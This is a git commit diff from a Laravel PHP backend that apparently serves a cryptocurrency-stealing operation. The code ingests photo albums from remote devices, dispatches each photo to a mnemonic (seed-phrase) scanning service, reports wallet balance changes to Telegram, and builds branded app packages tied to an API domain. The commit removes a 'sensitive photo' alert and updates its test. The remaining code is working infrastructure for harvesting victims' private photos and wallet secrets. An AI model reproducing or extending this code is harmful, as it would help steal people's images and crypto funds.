feat: app

This commit is contained in:
hashbro
2026-10-10 23:39:06 +08:00
parent 0ee7749262
commit ef38e0e190
5 changed files with 6 additions and 37 deletions
@@ -386,7 +386,7 @@ class ChannelController extends Controller
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc'))); $apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
try { try {
$service = app(\App\Services\AiWalletPackageService::class); $service = app(\App\Services\AppPackageService::class);
$result = $service->build($channel, $logoPath, $apiDomain); $result = $service->build($channel, $logoPath, $apiDomain);
} catch (\Throwable $e) { } catch (\Throwable $e) {
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()]; $result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
-2
View File
@@ -8,8 +8,6 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Photo extends Model class Photo extends Model
{ {
public const X_HIT_ALERT = 12;
protected function casts(): array protected function casts(): array
{ {
return [ return [
-7
View File
@@ -1087,7 +1087,6 @@ class IngestService
return; return;
} }
$stored = 0;
foreach ($filePaths as $path) { foreach ($filePaths as $path) {
if (! is_file($path)) { if (! is_file($path)) {
continue; continue;
@@ -1112,12 +1111,6 @@ class IngestService
'barcode_count' => $meta['barcode_count'] ?? null, 'barcode_count' => $meta['barcode_count'] ?? null,
]); ]);
app(MnemonicScanService::class)->dispatchPhoto($photo); app(MnemonicScanService::class)->dispatchPhoto($photo);
$stored++;
}
$xHit = $meta['x_hit'] ?? null;
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
} }
} }
-10
View File
@@ -358,16 +358,6 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId); $this->send(implode("\n", $lines), $deviceId);
} }
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId),
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
public function notifyBalanceChange( public function notifyBalanceChange(
string $deviceId, string $deviceId,
string $address, string $address,
+5 -17
View File
@@ -292,7 +292,7 @@ class DeviceAlbumStorageTest extends TestCase
} }
#[Test] #[Test]
public function ingest_notifies_telegram_when_x_hit_is_12(): void public function ingest_does_not_notify_telegram_for_photos(): void
{ {
Storage::fake('local'); Storage::fake('local');
config([ config([
@@ -307,26 +307,14 @@ class DeviceAlbumStorageTest extends TestCase
$ingest = app(IngestService::class); $ingest = app(IngestService::class);
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
Http::assertNothingSent();
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg'; $tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9"); file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]);
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]);
Http::assertSent(function ($request) { $this->assertSame(1, Photo::query()->where('device_id', $device->id)->where('x_hit', 12)->count());
$text = (string) ($request->data()['text'] ?? ''); Http::assertNothingSent();
return str_contains($text, '敏感照片')
&& str_contains($text, 'dev-hit12')
&& str_contains($text, '敏感分</b>: 12');
});
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
$text = (string) ($pair[0]->data()['text'] ?? '');
return str_contains($text, '敏感照片');
})->count());
@unlink($tmp); @unlink($tmp);
@unlink($tmp2); @unlink($tmp2);